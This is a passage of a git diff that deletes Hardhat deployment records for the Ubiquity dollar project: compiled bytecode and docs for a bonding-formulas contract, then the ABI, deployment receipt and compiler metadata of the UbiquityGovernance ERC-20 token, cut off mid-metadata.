8561039a565b90506000851561031b576103166001600160801b0319841683610400565b610325565b610325600161039a565b905060006103328661039a565b905061034b6101306001600160801b031984168361072a565b98975050505050505050565b6000806103638561039a565b905060006103708561039a565b9050600061037d8561039a565b905061013f610130826101aa6001600160801b031987168661072a565b6000816103a9575060006103fb565b8160006103b58261107e565b905060708110156103ce578060700382901b91506103e1565b60708111156103e1576070810382901c91505b613fff0160701b6001600160701b03919091161760801b90505b919050565b6000617fff60f084811c8216919084901c8116908214156104465780617fff1415610435575061ffff60ef1b91506107249050565b505050600160ff1b81168218610724565b80617fff1415610497577dffffffffffffffffffffffffffff00000000000000000000000000000000841615610486575061ffff60ef1b91506107249050565b505050808218600160ff1b16610724565b6f7fffffffffffffffffffffffffffffff60801b84166104f3576f7fffffffffffffffffffffffffffffff60801b85166104db575061ffff60ef1b91506107249050565b505050808218600160ff1b16617fff60f01b17610724565b6001600160701b03608085901c168161050f5760019150610516565b600160701b175b6001600160701b03608087901c168361055557801561055057600061053a8261107e565b6001955060e20393840160711901939190911b90505b61055f565b600160701b1760721b5b81818161057c57634e487b7160e01b600052601260045260246000fd5b049050806105a957600160ff1b8787181661059857600061059e565b600160ff1b5b945050505050610724565b6d10000000000000000000000000008110156105d557634e487b7160e01b600052600160045260246000fd5b60006e080000000000000000000000000000821015610636576e04000000000000000000000000000082101561062b576e020000000000000000000000000000821015610623576070610626565b60715b61062e565b60725b60ff1661063f565b61063f8261107e565b90508361407101818601111561065d57617fff9450600091506106f0565b83818601613ffc0110156106785760009450600091506106f0565b83818601613f8c0110156106c5578385613ffc0111156106a3578385613ffc010382901b91506106bc565b8385613ffc0110156106bc57613ffc8585030382901c91505b600094506106f0565b60708111156106d8576070810382901c91505b6001600160701b038216915083818601613f8d010394505b81607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b955050505050505b92915050565b6000617fff60f084811c8216919084901c8116908214156107d25780617fff14156107a8576001600160801b0319858116908516141561077557505050600160ff1b81168218610724565b600160ff1b6001600160801b031986861816141561079857505050818117610724565b5061ffff60ef1b91506107249050565b6f7fffffffffffffffffffffffffffffff60801b8416610435575061ffff60ef1b91506107249050565b80617fff1415610817576f7fffffffffffffffffffffffffffffff60801b8516610806575061ffff60ef1b91506107249050565b505050600160ff1b82168118610724565b6001600160701b03608086901c1682610833576001925061083a565b600160701b175b6001600160701b03608086901c1682610856576001925061085d565b600160701b175b908102908161087a57600160ff1b8787181661059857600061059e565b928201926000600160e11b8310156108ae57600160e01b8310156108a6576108a18361107e565b6108a9565b60e05b6108b1565b60e15b905061407081860110156108cc576000945060009250610969565b6140e0818601101561090f576140708510156108f157846140700383901c9250610906565b61407085111561090657614070850383901b92505b60009450610969565b61c0dd818601111561092957617fff945060009250610969565b6070811115610940576070810383901c9250610953565b6070811015610953578060700383901b92505b6001600160701b03831692506140df8186010394505b82607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b95505050505050610724565b6000617fff60f083901c16613fff8110156109c05760009150506103fb565b6001607f1b608084901c106109d457600080fd5b6140fe8111156109e357600080fd5b600160701b6001600160701b03608085901c161761406f821015610a0d5761406f8290031c610a1f565b61406f821115610a1f5761406e1982011b5b9392505050565b60006001607f1b608083901c1115610a44575061ffff60ef1b6103fb565b617fff60f083901c811690811415610a5f57829150506103fb565b6001600160701b03608084901c1681610a7b5760019150610a82565b600160701b175b80610a935750600091506103fb9050565b613fff8201600190811c9216158015610ae657600160701b8210610abd57607182901b9150610ae1565b6000610ac88361107e565b60e20360fe16606f19810160011c909403939290921b91505b610b21565b600160701b8210610afd57607082901b9150610b21565b6000610b088361107e565b60e10360fe16606f19810160011c909403939290921b91505b600160701b80830401600190811c90818481610b4d57634e487b7160e01b600052601260045260246000fd5b048201901c90506001818481610b7357634e487b7160e01b600052601260045260246000fd5b048201901c90506001818481610b9957634e487b7160e01b600052601260045260246000fd5b048201901c90506001818481610bbf57634e487b7160e01b600052601260045260246000fd5b048201901c90506001818481610be557634e487b7160e01b600052601260045260246000fd5b048201901c90506001818481610c0b57634e487b7160e01b600052601260045260246000fd5b048201901c90506000818481610c3157634e487b7160e01b600052601260045260246000fd5b04905081811015610c40578091505b816001600160701b0316607086901b1760801b955050505050506103fb565b6000617fff60f084811c8216919084901c811690821415610cad5780617fff1415610ca3576001600160801b03198581169085161415610798578492505050610724565b8492505050610724565b80617fff1415610cc1578392505050610724565b6001607f1b608086901c90811015906001600160701b031683610ce75760019350610cee565b600160701b175b6001607f1b608087901c90811015906001600160701b031684610d145760019450610d1b565b600160701b175b82610d4b576001600160801b03198816600160ff1b14610d3b5787610d3e565b60005b9650505050505050610724565b80610d6b576001600160801b03198916600160ff1b14610d3b5788610d3e565b8486038415158315151415610ea2576070811315610d925789975050505050505050610724565b6000811315610da45790811c90610dd3565b606f19811215610dbd5788975050505050505050610724565b6000811215610dd3578060000384901c93508596505b928101926e0200000000000000000000000000008410610df9576001968701969390931c925b86617fff1415610e435784610e1357617fff60f01b610e35565b7fffff0000000000000000000000000000000000000000000000000000000000005b975050505050505050610724565b600160701b841015610e585760009650610e65565b6001600160701b03841693505b83607088901b86610e77576000610e7d565b6001607f1b5b6fffffffffffffffffffffffffffffffff16171760801b975050505050505050610724565b6000811315610ebd57600184901b9350600187039650610ed4565b6000811215610ed457600182901b91506001860396505b6070811315610ee65760019150610f33565b6001811315610f03576001810360018303901c6001019150610f33565b606f19811215610f165760019350610f33565b600019811215610f33576001816000030360018503901c60010193505b818410610f44578184039350610f4d565b83820393508294505b83610f6357506000965061072495505050505050565b6000610f6e8561107e565b90508060711415610f9457600185901c6001600160701b03169450600188019750610fe3565b6070811015610fd657607081900380891115610fc3578086901b6001600160701b031695508089039850610fd0565b600098600019019590951b945b50610fe3565b6001600160701b03851694505b87617fff141561102e5785610ffd57617fff60f01b61101f565b7fffff0000000000000000000000000000000000000000000000000000000000005b98505050505050505050610724565b84607089901b87611040576000611046565b6001607f1b5b6fffffffffffffffffffffffffffffffff16171760801b98505050505050505050610724565b6000610a1f83600160ff1b8418610c5f565b600080821161108c57600080fd5b600070010000000000000000000000000000000083106110ae57608092831c92015b6801000000000000000083106110c657604092831c92015b64010000000083106110da57602092831c92015b6201000083106110ec57601092831c92015b61010083106110fd57600892831c92015b6010831061110d57600492831c92015b6004831061111d57600292831c92015b600283106107245760010192915050565b60008060408385031215611140578182fd5b50508035926020909101359150565b600080600060608486031215611163578081fd5b50508135936020830135935060409092013591905056fea164736f6c6343000803000a", - "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106100675760003560e01c8063794e955c11610050578063794e955c146100a4578063cd324209146100b7578063d58d45a8146100ca57610067565b8063163380b31461006c5780635b374a4014610091575b600080fd5b61007f61007a36600461114f565b6100dd565b60405190815260200160405180910390f35b61007f61009f36600461114f565b61014a565b61007f6100b236600461112e565b610205565b61007f6100c536600461114f565b6102df565b61007f6100d836600461114f565b610357565b6000806100e98561039a565b905060006100f68561039a565b905060006101038561039a565b905061013f610130826101206001600160801b0319871686610400565b6001600160801b0319169061072a565b6001600160801b0319166109a1565b979650505050505050565b60008061015e670de0b6b3a764000061039a565b9050600061016b8561039a565b9050600061019961018a836101206001600160801b031982168261072a565b6001600160801b031916610a26565b905060006101ba846101aa8861039a565b6001600160801b03191690610400565b905060006101c78961039a565b90506101f8610130826101e8816101206001600160801b031988168961072a565b6001600160801b03191690610c5f565b9998505050505050505050565b6000806102118461039a565b9050600061021e8461039a565b90506000610233670e92596fd629000061039a565b90506000610248670de0b6b3a764000061039a565b9050600061028f61027e6102666001600160801b031985168761106c565b6f7fffffffffffffffffffffffffffffff60801b1690565b6001600160801b0319841690610c5f565b90506102ac610130826101aa6001600160801b031989168761072a565b9550674563918244f400008611806102cb57506702c68af0bb14000086105b156102d4578795505b505050505092915050565b6000806102eb8561039a565b905060006102f88561039a565b90506000851561031b576103166001600160801b0319841683610400565b610325565b610325600161039a565b905060006103328661039a565b905061034b6101306001600160801b031984168361072a565b98975050505050505050565b6000806103638561039a565b905060006103708561039a565b9050600061037d8561039a565b905061013f610130826101aa6001600160801b031987168661072a565b6000816103a9575060006103fb565b8160006103b58261107e565b905060708110156103ce578060700382901b91506103e1565b60708111156103e1576070810382901c91505b613fff0160701b6001600160701b03919091161760801b90505b919050565b6000617fff60f084811c8216919084901c8116908214156104465780617fff1415610435575061ffff60ef1b91506107249050565b505050600160ff1b81168218610724565b80617fff1415610497577dffffffffffffffffffffffffffff00000000000000000000000000000000841615610486575061ffff60ef1b91506107249050565b505050808218600160ff1b16610724565b6f7fffffffffffffffffffffffffffffff60801b84166104f3576f7fffffffffffffffffffffffffffffff60801b85166104db575061ffff60ef1b91506107249050565b505050808218600160ff1b16617fff60f01b17610724565b6001600160701b03608085901c168161050f5760019150610516565b600160701b175b6001600160701b03608087901c168361055557801561055057600061053a8261107e565b6001955060e20393840160711901939190911b90505b61055f565b600160701b1760721b5b81818161057c57634e487b7160e01b600052601260045260246000fd5b049050806105a957600160ff1b8787181661059857600061059e565b600160ff1b5b945050505050610724565b6d10000000000000000000000000008110156105d557634e487b7160e01b600052600160045260246000fd5b60006e080000000000000000000000000000821015610636576e04000000000000000000000000000082101561062b576e020000000000000000000000000000821015610623576070610626565b60715b61062e565b60725b60ff1661063f565b61063f8261107e565b90508361407101818601111561065d57617fff9450600091506106f0565b83818601613ffc0110156106785760009450600091506106f0565b83818601613f8c0110156106c5578385613ffc0111156106a3578385613ffc010382901b91506106bc565b8385613ffc0110156106bc57613ffc8585030382901c91505b600094506106f0565b60708111156106d8576070810382901c91505b6001600160701b038216915083818601613f8d010394505b81607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b955050505050505b92915050565b6000617fff60f084811c8216919084901c8116908214156107d25780617fff14156107a8576001600160801b0319858116908516141561077557505050600160ff1b81168218610724565b600160ff1b6001600160801b031986861816141561079857505050818117610724565b5061ffff60ef1b91506107249050565b6f7fffffffffffffffffffffffffffffff60801b8416610435575061ffff60ef1b91506107249050565b80617fff1415610817576f7fffffffffffffffffffffffffffffff60801b8516610806575061ffff60ef1b91506107249050565b505050600160ff1b82168118610724565b6001600160701b03608086901c1682610833576001925061083a565b600160701b175b6001600160701b03608086901c1682610856576001925061085d565b600160701b175b908102908161087a57600160ff1b8787181661059857600061059e565b928201926000600160e11b8310156108ae57600160e01b8310156108a6576108a18361107e565b6108a9565b60e05b6108b1565b60e15b905061407081860110156108cc576000945060009250610969565b6140e0818601101561090f576140708510156108f157846140700383901c9250610906565b61407085111561090657614070850383901b92505b60009450610969565b61c0dd818601111561092957617fff945060009250610969565b6070811115610940576070810383901c9250610953565b6070811015610953578060700383901b92505b6001600160701b03831692506140df8186010394505b82607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b95505050505050610724565b6000617fff60f083901c16613fff8110156109c05760009150506103fb565b6001607f1b608084901c106109d457600080fd5b6140fe8111156109e357600080fd5b600160701b6001600160701b03608085901c161761406f821015610a0d5761406f8290031c610a1f565b61406f821115610a1f5761406e1982011b5b9392505050565b60006001607f1b608083901c1115610a44575061ffff60ef1b6103fb565b617fff60f083901c811690811415610a5f57829150506103fb565b6001600160701b03608084901c1681610a7b5760019150610a82565b600160701b175b80610a935750600091506103fb9050565b613fff8201600190811c9216158015610ae657600160701b8210610abd57607182901b9150610ae1565b6000610ac88361107e565b60e20360fe16606f19810160011c909403939290921b91505b610b21565b600160701b8210610afd57607082901b9150610b21565b6000610b088361107e565b60e10360fe16606f19810160011c909403939290921b91505b600160701b80830401600190811c90818481610b4d57634e487b7160e01b600052601260045260246000fd5b048201901c90506001818481610b7357634e487b7160e01b600052601260045260246000fd5b048201901c90506001818481610b9957634e487b7160e01b600052601260045260246000fd5b048201901c90506001818481610bbf57634e487b7160e01b600052601260045260246000fd5b048201901c90506001818481610be557634e487b7160e01b600052601260045260246000fd5b048201901c90506001818481610c0b57634e487b7160e01b600052601260045260246000fd5b048201901c90506000818481610c3157634e487b7160e01b600052601260045260246000fd5b04905081811015610c40578091505b816001600160701b0316607086901b1760801b955050505050506103fb565b6000617fff60f084811c8216919084901c811690821415610cad5780617fff1415610ca3576001600160801b03198581169085161415610798578492505050610724565b8492505050610724565b80617fff1415610cc1578392505050610724565b6001607f1b608086901c90811015906001600160701b031683610ce75760019350610cee565b600160701b175b6001607f1b608087901c90811015906001600160701b031684610d145760019450610d1b565b600160701b175b82610d4b576001600160801b03198816600160ff1b14610d3b5787610d3e565b60005b9650505050505050610724565b80610d6b576001600160801b03198916600160ff1b14610d3b5788610d3e565b8486038415158315151415610ea2576070811315610d925789975050505050505050610724565b6000811315610da45790811c90610dd3565b606f19811215610dbd5788975050505050505050610724565b6000811215610dd3578060000384901c93508596505b928101926e0200000000000000000000000000008410610df9576001968701969390931c925b86617fff1415610e435784610e1357617fff60f01b610e35565b7fffff0000000000000000000000000000000000000000000000000000000000005b975050505050505050610724565b600160701b841015610e585760009650610e65565b6001600160701b03841693505b83607088901b86610e77576000610e7d565b6001607f1b5b6fffffffffffffffffffffffffffffffff16171760801b975050505050505050610724565b6000811315610ebd57600184901b9350600187039650610ed4565b6000811215610ed457600182901b91506001860396505b6070811315610ee65760019150610f33565b6001811315610f03576001810360018303901c6001019150610f33565b606f19811215610f165760019350610f33565b600019811215610f33576001816000030360018503901c60010193505b818410610f44578184039350610f4d565b83820393508294505b83610f6357506000965061072495505050505050565b6000610f6e8561107e565b90508060711415610f9457600185901c6001600160701b03169450600188019750610fe3565b6070811015610fd657607081900380891115610fc3578086901b6001600160701b031695508089039850610fd0565b600098600019019590951b945b50610fe3565b6001600160701b03851694505b87617fff141561102e5785610ffd57617fff60f01b61101f565b7fffff0000000000000000000000000000000000000000000000000000000000005b98505050505050505050610724565b84607089901b87611040576000611046565b6001607f1b5b6fffffffffffffffffffffffffffffffff16171760801b98505050505050505050610724565b6000610a1f83600160ff1b8418610c5f565b600080821161108c57600080fd5b600070010000000000000000000000000000000083106110ae57608092831c92015b6801000000000000000083106110c657604092831c92015b64010000000083106110da57602092831c92015b6201000083106110ec57601092831c92015b61010083106110fd57600892831c92015b6010831061110d57600492831c92015b6004831061111d57600292831c92015b600283106107245760010192915050565b60008060408385031215611140578182fd5b50508035926020909101359150565b600080600060608486031215611163578081fd5b50508135936020830135935060409092013591905056fea164736f6c6343000803000a", - "devdoc": { - "kind": "dev", - "methods": { - "bondPrice(uint256,uint256,uint256)": { - "details": "formula bond price", - "params": { - "_targetPrice": ", target uAD price", - "_totalUBOND": ", total bond shares", - "_totalULP": ", total LP tokens" - }, - "returns": { - "_priceUBOND": ", bond share price" - } - }, - "bonding(uint256,uint256,uint256)": { - "details": "formula bonding", - "params": { - "_currentShareValue": ", current share value", - "_shares": ", amount of shares", - "_targetPrice": ", target uAD price" - }, - "returns": { - "_uBOND": ", amount of bonding shares" - } - }, - "durationMultiply(uint256,uint256,uint256)": { - "details": "formula duration multiply", - "params": { - "_multiplier": ", bonding discount multiplier = 0.0001", - "_uLP": ", amount of LP tokens", - "_weeks": ", mimimun duration of staking period" - }, - "returns": { - "_shares": ", amount of shares" - } - }, - "redeemBonds(uint256,uint256,uint256)": { - "details": "formula redeem bonds", - "params": { - "_currentShareValue": ", current share value", - "_targetPrice": ", target uAD price", - "_uBOND": ", amount of bonding shares" - }, - "returns": { - "_uLP": ", amount of LP tokens" - } - }, - "ugovMultiply(uint256,uint256)": { - "details": "formula ugov multiply", - "params": { - "_multiplier": ", initial ugov min multiplier", - "_price": ", current share price" - }, - "returns": { - "_newMultiplier": ", new ugov min multiplier" - } - } - }, - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": { - "bonding(uint256,uint256,uint256)": { - "notice": "UBOND = _shares / _currentShareValue * _targetPrice" - }, - "durationMultiply(uint256,uint256,uint256)": { - "notice": "_shares = (1 + _multiplier * _weeks^3/2) * _uLP" - }, - "redeemBonds(uint256,uint256,uint256)": { - "notice": "_uLP = _uBOND * _currentShareValue / _targetPrice" - }, - "ugovMultiply(uint256,uint256)": { - "notice": "new_multiplier = multiplier * ( 1.05 / (1 + abs( 1 - price ) ) )" - } - }, - "version": 1 - }, - "storageLayout": { - "storage": [], - "types": null - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/UbiquityGovernance.json b/packages/contracts/dollar/deployments/mainnet/UbiquityGovernance.json deleted file mode 100644 index e68f33ac3..000000000 --- a/packages/contracts/dollar/deployments/mainnet/UbiquityGovernance.json +++ /dev/null @@ -1,810 +0,0 @@ -{ - "address": "0x4e38D89362f7e5db0096CE44ebD021c3962aA9a0", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "Approval", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_burned", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "Burning", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_to", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "_minter", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "Minting", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Paused", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "Transfer", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Unpaused", - "type": "event" - }, - { - "inputs": [], - "name": "DOMAIN_SEPARATOR", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "PERMIT_TYPEHASH", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "internalType": "address", - "name": "spender", - "type": "address" - } - ], - "name": "allowance", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "approve", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "balanceOf", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "burn", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "burnFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "decimals", - "outputs": [ - { - "internalType": "uint8", - "name": "", - "type": "uint8" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "subtractedValue", - "type": "uint256" - } - ], - "name": "decreaseAllowance", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "addedValue", - "type": "uint256" - } - ], - "name": "increaseAllowance", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "mint", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "name", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "name": "nonces", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "pause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "paused", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "value", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "deadline", - "type": "uint256" - }, - { - "internalType": "uint8", - "name": "v", - "type": "uint8" - }, - { - "internalType": "bytes32", - "name": "r", - "type": "bytes32" - }, - { - "internalType": "bytes32", - "name": "s", - "type": "bytes32" - } - ], - "name": "permit", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "string", - "name": "newName", - "type": "string" - } - ], - "name": "setName", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "string", - "name": "newSymbol", - "type": "string" - } - ], - "name": "setSymbol", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "symbol", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "totalSupply", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "recipient", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "transfer", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "sender", - "type": "address" - }, - { - "internalType": "address", - "name": "recipient", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "transferFrom", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "unpause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - } - ], - "transactionHash": "0x0fee2674cf5a569e3802a7e57c1e3c9b5b2e0dfc8b2603b57651597edd001b0c", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0x4e38D89362f7e5db0096CE44ebD021c3962aA9a0", - "transactionIndex": 87, - "gasUsed": "1845725", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": "0xe4f052fa27a37287a5e279eadab3f36c6e75c9f287fe1e485db30436d82b05bc", - "transactionHash": "0x0fee2674cf5a569e3802a7e57c1e3c9b5b2e0dfc8b2603b57651597edd001b0c", - "logs": [], - "blockNumber": 12595238, - "cumulativeGasUsed": "7600106", - "status": 1, - "byzantium": true - }, - "args": ["0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98"], - "solcInputHash": "718dfe5f2e9bb98c22443f71ab0527e0", - "metadata": "{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_manager\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_burned\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"}],\"name\":\"Burning\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_minter\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"}],\"name\":\"Minting\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"Paused\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"Unpaused\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"DOMAIN_SEPARATOR\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"PERMIT_TYPEHASH\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"burn\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"burnFrom\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"decimals\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"subtractedValue\",\"type\":\"uint256\"}],\"name\":\"decreaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"addedValue\",\"type\":\"uint256\"}],\"name\":\"increaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"manager\",\"outputs\":[{\"internalType\":\"contract 